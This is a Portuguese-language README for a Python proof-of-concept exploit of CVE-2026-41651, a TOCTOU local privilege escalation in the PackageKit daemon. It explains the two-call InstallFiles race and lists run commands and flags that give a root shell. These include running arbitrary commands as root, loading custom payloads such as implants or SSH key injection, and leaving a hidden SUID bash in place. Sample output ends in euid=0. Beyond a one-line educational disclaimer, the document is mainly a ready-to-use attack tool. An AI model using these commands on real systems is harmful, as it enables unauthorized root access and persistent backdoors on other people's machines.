
PoC em Python do exploit de escalonamento local de privilégios TOCTOU do PackageKit. Qualquer usuário local sem privilégios pode instalar pacotes arbitrários como root, sem autenticação.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-41651 |
| Componente | Daemon do PackageKit (packagekitd) |
| Versões afetadas | 1.0.2 – 1.3.4 |
| Corrigido em | 1.3.5 |
| Impacto | Escalonamento local de privilégios → root |
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada.
SO vulnerável: Qualquer distribuição Linux executando PackageKit >= 1.0.2 <= 1.3.4.
Limitação do PoC: o construtor de pacotes integrado só produz arquivos
.deb, portanto o script exige um host Debian/Ubuntu para ser executado como está. Em sistemas baseados em RPM, forneça um payload postinst personalizado via--payload-scripte garanta quedpkg/dpkg-devesteja disponível, ou adapte o construtor.
Python: 3.6+
Pacotes de sistema (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
Observação sobre dependências:
python3-dbusepython3-ginão fazem parte da stdlib do Python, mas quase sempre já estão presentes em qualquer máquina executando um ambiente de desktop gráfico (GNOME, KDE, XFCE, etc.), pois esses ambientes dependem diretamente delas. Em uma instalação padrão do Ubuntu Desktop, ambas as bibliotecas estão disponíveis sem qualquer instalação manual. Em um servidor mínimo sem GUI, elas podem estar ausentes; nesse caso, oapt installacima exige sudo, o que contradiz o contexto de LPE. Na prática, qualquer máquina executando PackageKit com uma sessão de desktop já terá essas dependências satisfeitas.
gir1.2-glib-2.0fornece os arquivos typelib do GObject Introspection para GLib.python3-gié o mecanismo de binding do Python, mas precisa desses arquivos typelib para saber como falar especificamente com GLib. Sem este pacote,from gi.repository import GLibfalha mesmo sepython3-giestiver instalado. Ambos são puxados automaticamente por qualquer desktop baseado em GNOME.
Observação sobre a tentativa apenas com stdlib: uma versão anterior deste PoC tentou remover essas dependências por completo, substituindo as chamadas D-Bus por subprocessos
gdbus/dbus-sende, em seguida, falando o protocolo de fio do D-Bus diretamente pelo socket Unix. Ambas as abordagens falharam em disparar a corrida TOCTOU de forma confiável: gerar processos externos introduz latência suficiente entre as duas chamadasInstallFilespara que o PackageKit processe a Etapa 1 antes de a Etapa 2 chegar, quebrando a corrida. O bindingdbus-pythonenvia ambas as chamadas em modo fire-and-forget no mesmo socket já aberto, sem overhead de fork, e é isso que faz o timing funcionar. A versão apenas com stdlib foi revertida por esse motivo.
Verifique a versão do PackageKit (sem o poc):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
Exemplos:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet
Saída esperada:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Baseado no PoC original em C de Vozec. Esta é uma reescrita em Python para portabilidade. Todo o crédito pela técnica do exploit vai para o autor original.
Reescrita em Python desenvolvida com a assistência de Claude (Anthropic).
| Flag | Descrição |
|---|
--check | Consulta a versão do PackageKit e informa se é vulnerável, depois sai |
--exec CMD | Executa um único comando como root em vez de abrir um shell interativo |
--payload-script FILE | Usa um script postinst personalizado em vez do dropper bash SUID integrado |
--suid-path PATH | Onde depositar o bash SUID (padrão: /tmp/.suid_bash) |
--no-cleanup | Mantém o bash SUID após o shell sair |
--timeout N | Segundos para fazer polling do bash SUID (padrão: 120) |
--quiet | Suprime a saída de progresso (para scripts) |